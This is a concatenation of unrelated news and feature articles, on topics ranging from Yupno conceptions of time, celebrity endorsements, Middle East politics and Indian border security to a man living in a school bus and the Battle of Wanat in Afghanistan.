Núñez thinks the explanation is historical. The Yupno’s ancestors arrived by sea and climbed up the 2500-metre-high mountain valley, so lowlands may represent the past, and time flows uphill.
But the most unusual aspect of the Yupno timeline is its shape. The village of Gua, the river’s source and its mouth do not lie in a straight line, so the timeline is kinked. “This is the first time ever that a culture has been documented to have everyday notions of time anchored in topographic properties,” says Núñez.
Within the dark confines of their homes, geographical landmarks disappear and the timeline appears to straighten out somewhat. The Yupno always point towards the doorway when talking about the past, and away from the door to indicate the future, regardless of their home’s orientation. That could be because entrances are always raised, says Núñez. You have to climb down – towards the past – to leave the house, so each home has its own timeline.
“This study is an important landmark,” says Pierre Dasen, an anthropologist at the University of Geneva in Switzerland who was not involved in the work. “It demonstrates both universality of cognitive processes and a fascinating cultural difference.”
Lera Boroditsky of Stanford University in California agrees. “Each one of these discoveries isn’t just telling us something about other people, it’s telling us something about us,” she says. “A lot of English speakers think that it’s natural to think of time as a straight line. But that’s an illusion. It doesn’t have to be that way.”
Attitudes across the latitudes Timelines come in all shapes and directions. For the Aymara people of the Andes, time flows front to back. The past, which was known and hence seen, lies in front. The future – unknown and unseen – is behind. Over in Australia, the timeline of the Pormpuraaw, a remote Aboriginal community, runs along the east-west axis. The past is east. Time for the Pormpuraaw flows from left to right if they are facing south, right to left if they are facing north, towards the body if they are facing east, and away from the body if they are facing west. And in China, Mandarin speakers sometimes represent time along a vertical axis, with the past above and the future below.Last week, the Overwatch League opened its doors at Blizzard Arena Los Angeles, and we blitzed through four days of thrilling preseason competition. If you loved watching your favorite teams compete, there isn’t long to wait until you can do it all again: Stage 1 of the Overwatch League inaugural season begins on January 10 (running through February 10), and tickets are on sale now.
Join us for a unique IRL experience at Blizzard Arena, with an immersive stage complete with game integration. Watch hero swaps, health bars, and ultimates charge in real time with the side-by-side hero screens, and monitor capture progress with the swooping LED progress indicator. Get swagged out at our Blizzard Gear store, which is always stocked with official Overwatch League merchandise, then bring it to our scheduled fan signings so you’ll always remember meeting your favorite player.
Grab your friends, start making plans, and we’ll see you in Burbank starting January 10.ScarJo doesn’t mess around. Two weeks after signing on to be SodaStream’s global representative and announcing she will appear in the company’s Super Bowl ad, Jewish actress Scarlett Johansson has stepped down from her post as OxFam ambassador, which she’s held since 2007, citing the humanitarian organization’s stance on the BDS movement. Johansson came under fire from critics, OxFam among them, for endorsing the carbonated beverage company, which operates a factory in the West Bank settlement of Ma’ale Adumim, the AP reports.
A statement released by Johansson’s spokesman Wednesday said the 29-year-old actress has “a fundamental difference of opinion” with Oxfam International because the humanitarian group opposes all trade from Israeli settlements, saying they are illegal and deny Palestinian rights. “Scarlett Johansson has respectfully decided to end her ambassador role with Oxfam after eight years,” the statement said. “She and Oxfam have a fundamental difference of opinion in regards to the boycott, divestment and sanctions movement. She is very proud of her accomplishments and fundraising efforts during her tenure with Oxfam.”
While Johansson may have been unwittingly thrust into the role of conflict negotiator in the minefield that is the public debate over the Israeli-Palestinian peace process, she’s proven herself to be more than just a glamorous face attached to a product, responding to the backlash with a statement saying she’s a “supporter of economic cooperation and social interaction between a democratic Israel and Palestine.” She’s turned what could have been yet another celebrity endorsement—or quickly dropped celebrity endorsement—into an actual stance on an actual issue.
Previous: ScarJo Is SodaStream’s New SpokespersonSome of TV’s best shows (Freaks and Geeks, Friday Night Lights) as well as its pretty good ones (Community, Glee) have been about students. Far fewer directly take on the drama-parching details of education policy.
A few try to personalize them: on the crying machine that was Parenthood, for instance, Kristina Braverman is inspired by her autistic son to open a charter school, not very believably. Sometimes it’s a sidebar, as apparently it will be on CW’s forthcoming Black Lightning, whose hero is both a successful principal of a charter school and, if necessary (when vendors overcharge or on state tests, say), a DC comics superhero.
Which is too bad, because TV can be tremendously inspiring about real issues. I felt that as I binged through season six of The West Wing with my daughter. Midway through, Jimmy Smits surfaced as Matt Santos, a charismatic but long-shot contender for the Democratic presidential nomination. We know he has a chance because one of the show’s stars, the policy aide Josh Lyman (twinkling fan favorite Bradley Whitford) has left his top-level White House job to run the campaign.
Josh designs a gradual, specifics-free plan to raise Matt’s visibility in New Hampshire, but the candidate almost immediately suggests “a kickoff speech about education.”
“The problem with education is that it’s stuck in the muck,” Josh explains. “You got teachers unions blocking any change in hiring structure. You got local schools districts ready to burn coloring books if Washington dictates what color crayon. New Hampshire is about retail politics, person to person. People here won’t vote for you till you’ve had coffee in their house five times.”
Santos is undeterred. He begins pitching a 240-day school year when he meets donors and activists, pointing out that Germany is at 240 and Japan is at 243.
“I’ll be honest with you,” says one party loyalist, “I don’t know many people who’ll be excited by a longer school year.”
“I got a pretty good education in 180 days,” says another.
Santos says he’d end tenure to “get rid of failing teachers” and improve the quality of the school day. (An activist replies, “Our cousin Phyllis is a teacher.”)
He also says that “We need to nationalize the system” to keep up with India and China. Josh: “That’s a half-trillion-dollar joke you just made.”
An education package that includes 240 school days, ending tenure, and nationalizing schools isn’t anyone’s agenda. But the specific, not-totally-crazy talk was kind of exciting. Santos’s passion was inspiring. And when the sharpest guy suggests everyone will hate you if you run on education, and even Jimmy Smits can’t make it interesting — that was realistic.
I should mention that The Wire devoted an entire season to education. It’s brutal, convincing, and ideological. No Child Left Behind worsens Baltimore’s problems.
Finally, Matt Santos did not introduce education to The West Wing. In its very first season, Aaron Sorkin, the show’s creator and writer for four seasons, had White House aide Sam Seaborn say: “Education is the silver bullet. Education is everything. We don’t need little changes; we need gigantic, monumental changes. Schools should be palaces. Competition for the best teachers should be fierce; they should be making six-figure salaries. Schools should be incredibly expensive for government and absolutely free of charge to its citizens, just like national defense.”Iraqi Vice President Nouri al-Maliki has denounced a planned Kurdish independence referendum in northern Iraq, warning that Baghdad would not tolerate the establishment of “a second Israel,” after the occupying regime became the only entity to support the so-called plebiscite.
Maliki, who was also Iraq's prime minister from 2006 to 2014, made the remarks in a meeting with US Ambassador to Iraq, Douglas Silliman, in the capital Baghdad on Sunday, adding that the leaders of the semi-autonomous Iraqi Kurdistan must “call off the referendum.”
The so-called independence plebiscite “is contrary to the constitution and does not serve the general interests of the Iraqi people, not even the particular interests of the Kurds,” Maliki said.
His comments came two days after lawmakers of the Kurdistan Regional Government (KRG), in its capital Erbil, approved the September 25 referendum as opposition legislators boycotted the parliament’s first session in two years.
Sixty-five out of the 68 Kurdish lawmakers present in the 111-seat regional parliament held the secession vote in the face of fierce opposition from the central government in Baghdad, the United Nations and the United States.
“We will not allow the creation of a second Israel in the north of Iraq,” Maliki said at the meeting, according to a statement released by the vice president's office, warning that such a vote would have “dangerous consequences for the security, sovereignty and unity of Iraq.” He also urged the Kurdish leaders to come to the negotiating table.
Washington has already expressed its opposition to the referendum, arguing that it would weaken the Arab-Kurdish joint military operations that have managed to make Daesh Takfiri terrorist group retreat in both Iraq and neighboring Syria.
The White House has also warned that holding the vote in “disputed areas” would be “provocative and destabilizing,” urging leaders of the Kurdistan region to call off the referendum and begin serious and sustained negotiations with Baghdad.
A close ally of the United States, the Israeli regime, however, has come out in apparent support of the controversial referendum. Earlier this week, Israeli Prime Minister Benjamin Netanyahu said the Tel Aviv regime “supports the legitimate efforts of the Kurdish people to attain a state of its own.”
Iraqi Kurds fly Kurdish flags during an event to urge people to vote in the upcoming independence referendum in Erbil, the capital of the semi-autonomous Kurdish region of Iraq, September 16, 2017. (Photo by AFP)
On September 12, Iraqi Prime Minister Haider al-Abadi slammed the planned vote as “unconstitutional,” calling on the Kurdish leadership to come to Baghdad and conclude a dialogue. The premier’s remarks came after the Iraqi House of Representatives voted to reject the referendum.
The Iraqi parliamentarians urged the prime minister to take all necessary measures to maintain the unity of Iraq and start a serious dialogue with the Kurdistan region to resolve pending issues.
Turkey has already censured efforts to establish an independent Kurdistan as “a grave mistake.” Ankara says the potential creation of an independent Kurdish state in its backyard would further embolden Turkey’s homegrown Kurdistan Workers’ Party (PKK) militants toward an even stiffer confrontation with the government.
On Saturday, Turkish President Recep Tayyip Erdogan said in a televised interview that Ankara would hold a high-level security meeting on September 22 to decide on how to respond to such a plebiscite, saying the Kurdish leadership was suffering from “serious political ineptitude.”
In June, Iran said it was opposed to the “unilateral” scheme for the independence of the Iraqi Kurdistan, underlining the importance of maintaining the integrity and stability of Iraq and insisting that the Kurdistan region was part of the majority Arab country.
The United Nations, for its part, has already called on Iraqi Kurdish leader, Massoud Barzani, to cancel plans for the controversial plebiscite and enter internationally-backed negotiations with Baghdad with the aim of reaching a deal within three years.Mitt Romney’s loss on Tuesday has some people asking if the hundreds of millions of dollars conservative donors gave to Romney-backing outside groups could have been better spent patching up the crack in the Liberty Bell or something.But then, it doesn’t matter what some people ask. What really matters is what the few people capable of writing multi-million dollar checks ask. And at least one highly visible Republican mega-donor is wondering whether his money was spent the way he wanted it to be. The problem, retired mutual fund executive Foster Freiss told The Los Angeles Times for an article published Thursday, has to do with transparency.
“You have no idea of the financial structuring of a lot of these outside groups in terms of how much went to the actual delivery of a message,” Friess said, “versus how many dollars were taken off as fees to the people running them.”
Friess told the Times he’d ideally like a change to campaign finance rules that would allow donors like him to give their big checks directly to candidates. Nevertheless, having just spent $5 million on a losing effort doesn’t make Friess think the giving to outside groups is going to slow.
“My guess is that four years from now, the financial support will not drop off but may be even higher for the outside groups,” he said.
Friess, who originally backed former Pennsylvania Sen. Rick Santorum’s bid for the Republican nomination, gave large sums this cycle to the pro-Romney Restore Our Future, the pro-Santorum Red, White & Blue Fund, and FreedomWorks. In February, Friess got headlines and criticism for saying on national television that, back in his day, women “used Bayer Aspirin for contraceptives. The gals put it between their knees and it wasn’t that costly.”As Seoul rapidly establishes itself as the “Silicon Valley” of Asia, there has been an influx of international entrepreneurs and investors seeking to fully utilize and capitalize on emerging opportunities.
Entrepreneurs in Seoul (EIS) is a group that acts as a business architect, building a bridge connecting international entrepreneurs with the requisite resources they need access to, such as partners, investment groups, government support, distribution, and media. Unlike other startup based gatherings that largely revolve around a few key note speakers and an all too familiar seminar-like environment, this group deviates from the norm by focusing on a movement aptly referred to as “un-conferencing.” The main benefit gleaned from such a divergent approach is that each entrepreneur and organization has more time to network in a much more personable face to face atmosphere. Seoul Global Center stepped in as the catalyst to this opportunistic gathering featuring roughly 50 in attendance which included entrepreneurs, media groups, venture capital groups and government organizations.
The following are some of the noteworthy applications and services to keep tabs on that were introduced during the inaugural EIS meeting.
Colango empowers language teachers with the ability to create interactive language lessons for their students. Colango helps facilitate the acquisition of language by providing students with a fully immersive learning experience. Instructors can use authentic content from online sources or create their own unique language exercises with their own voice, pictures or text. Colango also complements teachers with student data so they can supply comprehensive feedback that can effectively target a student’s specific weakness when it comes to language aptitude.
My Memoirs provides the ultimate platform to document and archive the most significant and memorable stories as you recollect, compose and reminisce about them. Their catchphrase, “The stories that tell who you are, the stories that you want remembered, and the stories you want to leave behind,” succinctly illustrate their objectives and mission. Currently, their scope of influence reaches 20 countries and they are fully intent on becoming the world’s preeminent database to store all your incredible experiences as well as those of your loved ones.
Allfanart provides an online gallery and marketplace for artists of all different walks of life to display and sell their artistry in various customizable items such as wall art, phone cases, mugs, hand fans, and even scrolls. Allfanart goes the extra mile by merging Western art with traditional and modern East Asian art as well. Artwork is available for purchase worldwide, with the altruistic service generously donating a portion of proceeds to international charities. Allfanart has the notable distinction of being established as the first ever East Asia based global art platform.
Ask Ajumma is a premiere concierge service catering to the considerable expat community in Korea to facilitate and smoothen the transition of adjusting to a foreign environment. Ask Ajumma specializes in online shopping and placing food orders at your convenience. They can provide expedite assistance with virtually anything to enable customers to save time and money throughout their busy days.
Easyblox is an innovation in Display Furniture that allows for flexible designs to be continually utilized in various forms and functions, while effectively minimizing waste and expenditures in the process.
Prominent EIS attendees included Thomas Ahn of Mad Ventures, Jin Ho Hur of Translink Capital Korea, and Jae-Kwon Son of Maekyung Media Group. Stay tuned for the next Entrepreneurs in Seoul event in April.
Written by Daniel Kang
If you would like to become a guest writer for Seoulsync please send your submission to [email protected], a cloud service for musical start-ups, reached an agreement to collaborate with Colu, the blockchain-based service for digital assets. This is the first integration of the Colu platform after its launch on 13 August.
The partnership seeks to create an `operating system' for musicians and distributors that would make music rights ownership more transparent. Revelator and Colu are now working together to develop a Right Management API to register all musical pieces and thus preventing illegal distribution of intellectual property. This will be achieved through smart contracts and digital assets.
An Israeli bitcoin start-up, Colu has just officially launched its open beta platform inviting developers to build on it. At the moment, Colu offers three products: Colu Bag, a wallet to store and exchange digital assets; Colu Engine, an API to be integrated into different platforms; and Quick Asset Issuance, a tool for creating one's own asset in a user-friendly way.
The service enables users to securely purchase and store all kinds of items on the blockchain. In January, Colu raised $2.5 million in a seed funding round led by American and Israeli venture capitalists. The team behind Colu were the original founders of Colored Coins, an open source application for creating digital assets on the blockchain. Colu uses Colored Coins protocol to issue and store digital assets based on the bitcoin blockchain.
Colored Coins is a technology that allows using blockchain symbols as substitutes for any object or sum of money and recording deals in a public ledger. CoinFox wrote earlier about LHV Bank Estonia that began experimenting with this new technology. The U.S. authority Financial Crimes Enforcement Network (FINCEN) stated in a letter addressed to a bitcoin company that working with colored coins and tokens might need money transmitter license.
Revelator was found in 2013 in Israel and offers software for artists and distributors to sell, promote and manage music on the web. Revelator's mission is focused on transparency:
“It’s time for the music business to get its house in order. And transparency between labels and artists is key to leading the industry forward into the 21st-century,” says a Revelator blog post.
Aliona ChapelSOUTH PORTLAND — The 1981 school bus has empty yellow sockets where the headlights should be, bald tires and two pieces of duct tape to keep grease from oozing out of a front wheel.
Dick Stewart, whose company towed the bus from where it had been parked Monday night in the Target lot in South Portland, said the dilapidated vehicle, now painted green, is unsafe even to drive away from his lot. When it’s moved, it will have to be towed again.
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But that bus brought Corbin Pratt and a group of friends more than 3,000 miles from Oakland, California, to Portland, and for most of that journey rolled along Interstate 80 without getting pulled over or attracting trouble.
Until Monday night, that is, when police were called to Target to have the bus moved.
After learning that police planned to tow the bus, the 29-year-old Pratt ran back on board and hid beneath his mattress, leading to a three-hour confrontation with police. Officers did not believe Pratt had any guns, but couldn’t be sure. He eventually surrendered, was charged with criminal trespassing and ordered to appear in court Dec. 3.
Given the condition of the bus, and that the only “license plate” consisted of numbers written on a piece of cardboard stuck in the back window, Pratt and his friends had amazingly little trouble traversing the country.
“The cops mostly talked to us when we were stopped somewhere. They don’t want to deal with it when it’s moving,” Pratt said Tuesday.
At times, police just moved him and his friends along rather than writing a ticket and impounding the bus, he said.
“Who wants 12 more homeless people in town that will get drunk and ask people for money?” he said.
Pratt and his group usually traveled from about noon till sundown. When they ran out of gas, some of them panhandled while others would circulate through the gas pumps at nearby truck stops, collecting donations of diesel in a five-gallon gas jug.
Pratt’s cross-country trip was made possible through a little-known California law that allows a vehicle owner to get a “one-trip permit” that can be used to move an unregistered vehicle from one place to another. It is sometimes used by new or used car dealers to relocate inventory, but also can be used for moving vehicles into or out of California, according to the California Vehicle Code, section 4003.
Pratt got the permit to move the bus from one storage location to another: Oakland to Portland. When presented with the permit along the way, law enforcement officers typically were at a loss on what to do – and moved him along, he said.
“We were stopped in New Hampshire and the cop said, ‘I don’t even know what to do with this,’ ” Pratt said.
Pratt grew up in Wichita, Kansas, before moving to Los Angeles. He started roaming in 2005, hitchhiking, jumping trains, living out of his backpack and taking temporary jobs.
Dreadlocks held in check by a bandanna, Pratt isn’t bashful about his countercultural existence: a nomadic lifestyle, drug use and legal infractions.
“I just go with the flow,” said Pratt, who hot-wires the bus to start it because he lost the keys while doing hallucinogenic drugs.
He worked as a medical marijuana farmhand last year in California, but after the season ended he couldn’t get an apartment because he had “horrible credit and no rental history.”
He has had encounters with the law before his confrontation with South Portland police. Last winter, while in California, he got drunk after totaling his car, was ordered to leave an Indian restaurant and soon found himself arrested on a charge of resisting arrest. He spent 45 days in jail on the misdemeanor conviction.
When he got out, he decided to use the $3,700 he received for his totaled Volkswagen to buy an old school bus and turn it into his home. He found one on Craigslist in Eugene, Oregon, and bought it for $2,000 on May 3. Asked how many miles the bus has on it, Pratt replied, “I have no clue.”
He and his friends set out from California headed east to Portland on July 1. Why Portland? “I’ve never been here. It just was the farthest away I could get from California,” he said, adding that the medical marijuana scene there had become too cutthroat.
After a counterculture get-together in Utah called a “rainbow gathering,” the bus was pulled over by the Utah Highway Patrol. Police deposited them in a tiny town and told them not to try to drive off in the bus. But when the local police chief learned they had no money, he gave them 5 gallons of diesel and, because it was dark, lit the way with his cruiser, driving ahead of the bus for more than 40 miles to the Wyoming state line.
Once in Wyoming, Pratt had a falling out with his traveling companions over beer, he said. They preferred low-priced, high alcohol content, while he favored microbrews. They soon parted ways.
Pratt arrived in Maine on Aug. 15, and has been living in the bus with other friends he met, working as a dishwasher. For a time, the bus was parked on Fore Street until Portland police told him it smelled like urine and he had to move it. He parked in the dirt lot at the northeast end of Commercial Street for a time, until faced with a quandary: City parking enforcement told him he had to move, but police told him he wasn’t allowed to drive the unregistered, uninspected, unsafe vehicle.
He managed to slip away and parked the bus at the Falmouth Wal-Mart.
Pratt spent six weeks there. His “crew” as he calls them, had moved along at that point. Chris Kidder, who had met Pratt when the bus was parked in Portland, then joined him on board. Kidder tries to earn money by offering free hugs in Portland’s Old Port.
When Wal-Mart management told them to move, Pratt drove to the Scarborough Wal-Mart. That lasted a week. He moved to the Target store off Running Hill Road, but lasted only a few hours there before store management called police and asked to have the bus removed.
Pratt was a little surprised that his confrontation with police Monday night ended peacefully. He fully expected officers to come charging on the bus with tasers to take him into custody, he said.
Instead, police offered to bring Pratt to the Oxford Street emergency shelter in Portland. However, he didn’t stay there, opting to sleep in the doorway of a business downtown until Portland police discovered him and told him to move along.
Pratt’s younger sister, Caitlyn Pratt, who lives in Texas, said family members are sometimes worried about her brother’s carefree lifestyle.
“Corbin always marched to the beat of his own drum. He’s always been an interesting guy,” she said, agreeing that the standoff in South Portland could have ended much worse.
“I think he’s going to give our poor mother an ulcer,” she said. The bus as homestead doesn’t really surprise her. Their grandfather has an old bus parked on his farm in Iowa, she said.
Pratt plans to get his bus back as soon as he has a place he can park it, paying for the towing and storage with money he had set aside for a wood stove to heat the bus this winter.
The interior of the bus has a recliner and another overstuffed chair as well as a mattress. Eventually, Pratt plans to remove the rest of the windows and cover them with sheet metal. He’s confident it will see the road again.
“If I maintain it,” he said, “I’ve got another million miles on that bus.”
ShareIn an overheated bit of rhetoric, Israeli Prime Minister Benjamin Netanyahu said yesterday: "Israel will not negotiate with a Palestinian government backed by the Palestinian version of Al Qaeda."
Mr. Netanyahu was referring to Hamas, the Islamist movement that won the 2006 Palestinian legislative election, fought a brief civil war with Fatah, the secular-minded party of Palestinian President Mahmoud Abbas, the following year, and patched up differences with Mr. Abbas's party last month.
Hamas's crushing 2006 victory was largely due to Palestinian disaffection with Fatah. On top of failing to deliver a Palestinian state, Fatah's old guard was widely derided as corrupt by average Palestinians. In the years since, Hamas's often-thuggish rule in the Gaza Strip has eroded its popular support, though it remains one of the most powerful and cohesive forces in Palestinian society.
That reality, and the realization that a Palestinian house divided made a mockery of moves toward peace talks with Israel (since Abbas's government didn't speak for Gaza) led to the reconciliation of the two groups. Mr. Netanyahu is furious about this development.
There are, of course, good reasons for that. Hamas, unlike Fatah and the Palestinian Liberation Organization (PLO), hasn't formally recognized Israel's right to exist. Rocket fire has frequently poured out of a Gaza under Hamas control (though often fired by other groups, the Israeli argument has been that it's done with tacit Hamas approval), and the group is cozy with Iran and Syria.
But Hamas is a far, far cry from the utopian global fighters of Al Qaeda. Hamas stems from Egypt's Muslim Brotherhood, Al Qaeda's ideological opponent. The Brotherhood and its progeny are largely national in interest. The Egyptian group is focused on Egypt, Hamas is focused on Palestinian territories, the Jordanian branch is focused on Jordan, and so forth.
Unlike Al Qaeda's vision of a global caliphate – and hostility to modern states and democratic processes – Hamas wants an independent Palestine with a dominant role for Islam in guiding legislation. Al Qaeda generally views the Brotherhood and its progeny with scorn.
And while Hamas's charter continues to call for an end to Israel, the organization offered Israel a 10-year hudna (truce) after it won the 2006 elections.
Israel's leaders argued that the truce was nothing more than a way for Hamas to buy time and build its strength toward the Jewish state's ultimate destruction, and they may well have been right, but the offer itself was a long way from Al Qaeda's continuous demand that Israel be destroyed as quickly as possible.
Hamas also seems to have a firm grasp on violence as a tactical tool in pursuit of its goals. Since the reconciliation deal with Fatah, no rockets have flown out of Gaza, as far as I can tell. The group's leaders, meanwhile, have been negotiating with the military junta that runs Egypt to open the Gaza border, something that would take some of the steam out of Israel's ongoing economic blockade of Gaza.
There are of course Al Qaeda fellow travelers in Gaza. In 2009, 22 people died in a Hamas led-raid on militants loyal to Abdel-Latif Moussa, a Salafi cleric who had set up an Al Qaeda-style militant group in Gaza. About six of the dead were Hamas policemen.Settlement of the border issue is "critical" for India-China ties, National Security Advisor Ajit Doval said on Friday, as he called for a "larger plan" for "tackling" that country to resolve all ticklish matters.
Doval also said that while India's relations with China "are looking up" there was a need to remain at a "very very high alert".
Speaking at the annual KF Rustamji lecture, Doval, who leads the Indian side at the talks of Special Representatives with China, also dwelt on China's emergence as world's economic power and its relations with Pakistan.
The event is organised by the BSF in memory of Rustamji, the founder Director General of of the force who retired in late 1960's but was reemployed as first Special Secretary in Ministry of Home Affairs. He is the only police officer who has been awarded with Padma Vibushan, country's second highest civilian award.
Doval, a former Intelligence Bureau Chief, said "...we might have to see China border in a different way once the boundary is settled....
"We have got a very long border we have got 3,488-km long border, a very difficult and mountainous terrain snow-clad...now for the bilateral relations with China, border is the critical and vital issue," he said speaking on the topic 'Challenges of Securing India's Borders; Strategising the Response'.
He said all advancement made in the "relationship" with China gets centred around and becomes important on settlement of the border. Doval said while the bilateral relations with China "are looking up" there was a need to remain at a "very very high alert".
"We are particularly concerned about the Eastern sector where the claims have been made on Tawang(in Arunachal Pradesh) which is totally in contravention of accepted principles," Doval said and expressed surprise that while McMahon line was agreed till Burma by China, the same was not accepted thereafter.
The line is named after Sir Henry McMahon, foreign secretary of the British-run Government of India and the chief negotiator of settling disputes with China in 1914.
"The fact is there is settled population in these areas particularly in Tawang and other areas which have been participating in the national mainstream all through.
"So, these are the ticklish issues. But these ticklish issues have to be talked about, deliberated and worked out, he said, adding there was a need for working out a "larger plan for tackling China".
The comments by Doval came days after Prime Minister Narendra Modi during his visit to China asked Beijing to "reconsider its approach on some issues that hold us back", an apparent reference to the long-pending boundary issue.
Doval said there have been a series of Special Representative talks between India and China on the boundary issue but no headway has been made so far.
"There have been a series of Special Representative level talks, about 17 rounds and they haven't reached anywhere. But it is also true that for last 30 years we have not exchanged a single bullet.
"But, it is also true that the number of intrusions have gone up and down. Fortunately, in the last one year the intrusions have become much less and some of the intrusions which have been made were controlled," Doval said.
He said China is an important country which is going to take over as the world's greatest economy.
He spoke about China's "special status" relations with Pakistan and said "both these countries are not that type of democracy that we understand as an enabling democracy." About the polices of Narendra Modi government, the National Security Advisor said even before he (Modi) took over as Prime Minister of the country he had taken initiative by reaching out to all neighbouring countries (inviting their leaders to his swearing-in ceremony) as he understood that India's neighbourhood is the "centre point of foreign policy".
"Thereafter, the Prime Minister had taken efforts to improve bilateral relations and use all his efforts to see that," he said.
However, while extending a hand to neighbours, Modi is committed to the fact that India's security interest are fully protected and that the country builds up its capabilities "despite some aberrations by some of the countries in border areas," Doval said.
Maintaining that deterrence was necessary for avoiding issues on borders, he said, "conflicts are best avoided if you have got the deterrence."
On border matters with Pakistan, Doval said it was an area where the country was facing issues like terrorism, drugs, counterfeit currency "and you name and you have it".
As part of Pakistan's strategy on harping on Kashmir issue, he said, "They (Pakistan) neither have any support nor any locus standi."
Surprisingly, Doval spoke about the 106 KM border that pre-1947 era India shared with Afghanistan. This area is now under Pakistan-occupied-Kashmir (PoK).
"... We don't have a contiguous border but it is of great strategic significance. We want peace and tranquility in this area and that it does not become an epicentre for terrorism which is then utilised by some other country," he said hinting at Pakistan as the area is currently under its administration.
Speaking on border issues with Bangladesh, Doval said the present regime has been "extremely helpful and friendly" and with their support India has been able to control insurgency in the northeast to a great extent.
He said the flow of illegal immigrants was a daunting task and the government was identifying them and deporting them as taking a legal action against them is a "very very cumbersome process".
Tackling flow of illegal immigrants was an area where India requires more help and cooperation with Bangladesh, he said.
"Of late, one more dimension has been added that some of the terrorists from that areas finding their bases in some of our bordering states and utilising them for launching so called jihad not only in Bangladesh but also collaborating with the groups operating within India," he said.
Talking about Nepal border, he said while there is no problem like terrorism and others but "we know that Nepal has been an operating base for the ISI for a long time for their various covert operations they have launched".
"It is also base for organised crimes and criminals who have been using it and operating from there. Also, some of the terrorist and militant elements have been passing from there, he said but allayed fears adding there has been "excellent security coordination" between various agencies and government of Nepal.
Talking about Myanmar border, Doval said there is a problem of northeast insurgency, drugs smuggling and insurgent camps.
"With Bhutan we have relatively a much better situation... but we have insurgent groups there... Bodo groups are there," he said.
In all "discourses" of Indian border guarding forces, he said the issues about force levels, equipment, communication, funds, morale of troops are very important.
"But what about the larger picture? Is is not necessary that they (border guarding forces) are also the stakeholders in the overall scenario of border security," he asked. He also suggested that forces like BSF, ITBP and SSB should conduct studies about their immediate neighbourhood.
"Has there been any study of such a kind which tells us about the other side like their ethos, pattern of deployment, economic prosperity in border areas, attitude of people? Border knowledge largely depends on the intimate knowledge on the events and developments on the other side," he said.
Going further he said "India's border with Afghanistan is 106km. We don't have a contentious border (along Afghanistan) but it is of great strategic significance.
"Whatever happens in Afghanistan...we want peace and tranquility in this area and that it (this border) does not become an epicenter for terrorism which is then utilised by some other country," Doval said hinting at Pakistan as the area is currently under Pakistan Occupied Kashmir (PoK).
He asked the forces to upgrade their capabilities from being a 'watch and ward' unit to becoming full fledged stakeholders of a nations security. Doval said the border population is a "very very critical" element of a country's border management and no country whose border population is "dissatisfied" can be "secure".
He asked these
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, previously used by superhero Carol Danvers (now known as Captain Marvel). "It's very much a classic superhero origin story but with this added tension of her growing into herself as a second-generation American Muslim."
Kamala isn't the first Muslim comic-book character, nor even Marvel's first Muslim woman, but she is their first to lead her own series. The idea came from two Marvel editors: Sana Amanat, who had been telling her colleague, Steve Wacker, tales of growing up in a Muslim family. (The idea predates the recent rise to prominence of the similarly named, similarly brave teenage girl, education activist Malala Yousafzai.) Amanat and Wacker approached Wilson – who converted to Islam in college, and whose work includes the comic Cairo and novel Alif the Unseen – to be the writer (with artwork by Adrian Alphona). "My immediate thought was, 'What are we going to get ourselves into?'" she says.
It wasn't that she worried Marvel's readership would balk at a Muslim teenage girl: "The comic-reading demographic is certainly changing and diversifying." But, she says, "whenever you have a character representing any kind of minority, including women, who are underrepresented, there is extra scrutiny because there are no other examples. Everyone wants to see their own personal opinions in that character. So I knew we had to have a very deft touch."
Amanat told the New York Times that Kamala's brother is very conservative, her mother worries "she's going to touch a boy and get pregnant" and her father wants her to become a doctor. This led some to suggest the series reinforced the stereotype of a Muslim family, although the general response was positive. "I understand why people are apprehensive because any time you hear about a Muslim character in pop culture, you're immediately bracing for all of that negativity," says Wilson. "But Sana and I have tried to stay very true to our own experiences in the community. I come from a fairly conservative Muslim community in Seattle, and I know the positive side of those communities and nuances that are maybe not picked up in the media."
Kamala's faith, she says, "is part of her personal journey, but she is in no way a poster child for religion. She's very much at the phase of deciding who she is, which many teenagers go through regardless of their background. I don't think any of us were out to make some political point, just to reflect the reality and give voice to the young women who are at this very interesting point in history and trying to navigate two worlds." Or three – if you're a teenage superhero and about to enter the Marvel universe.The hills are alive with the sound of RPGs
After six years of ignoring Afghanistan, things have gotten bad enough to force American officials to pay attention. For the past two months, U.S. casualties in Afghanistan have been higher than in Iraq. And on July 13, Afghanistan definitely got everybody’s attention when nine U.S. troops were killed in what Wikipedia is now officially calling “The Battle of Wanat.” Three days after the battle, the International Security Assistance Force (ISAF), the U.S.-dominated military force running the country, announced it’s abandoning Wanat completely.
Let’s start with a close-up of the battle, then zoom out to the overall situation in Afghanistan. Wanat is in Kunar Province, along the border with Pakistan. It looks a lot like Northern Wyoming: mountain country, steep slopes with pine forests running down to fast, cold rivers. Some of the photos I’ve seen from Kunar seem like stills from “The Sound of Music” or “Heidi,” only some prankster has Photoshopped in a platoon of soldiers in desert camouflage.
The outpost that the United States had just set up in Wanat was supposed to disrupt Taliban supply lines from Pakistan. Instead, it became a tempting target for the local guerrillas, just like hundreds of other remote forward bases in other rural guerrilla wars from Southeast Asia to Algeria. Guerrillas usually avoid open combat with conventional forces, but when they do attack in force it’s usually against the smaller, more vulnerable forward bases. The Wanat base was a very tempting target because it was still under construction.
It’s not so easy to be sure what actually happened in the battle there on July 13. A big Taliban force — big by guerrilla-war standards, meaning several hundred — was able to mass outside the base without being detected. They attacked with rocket-propelled grenades, mortars and rifle fire, managed to take part of the base, and then either withdrew or were forced back into the town of Wanat, where the fighting continued in the ruins. The NATO troops had massive air support, and faced with that, the guerrillas dispersed into the hills. Then, three days later, the U.S. forces, who have de facto command of southeastern Afghanistan, also withdrew. Officially Wanat is now in the hands of the Afghan police, but that’s a joke.
You can tell how ridiculous that claim is by looking carefully at the casualties from the battle. This is a good example of how to read war news carefully, how to read between the lines of standard press coverage. It’s almost like a story-problem for war nerds. Here are the figures: There were 70 defenders in that base, 45 U.S. troops and 25 ANA (Afghan National Army) troops. That’s about a 60/40 split. So if both groups fought equally effectively, you’d expect more than a third of the casualties to be from the ANA. But that’s not the story the casualty figures tell you. Every defender who died was American; no Afghan troops died. Three-quarters of the wounded were also American, only four out of 19 were Afghan. What that tells you is that the ANA didn’t fight. They left it to the Americans. That’s a pattern you often see in guerrilla wars: The locals fight very hard against the occupiers, but not very well for them. So in Vietnam, the Viet Cong fought like demons and the South Vietnamese Army (ARVN) barely fought at all, even though they were from the same ethnic background.
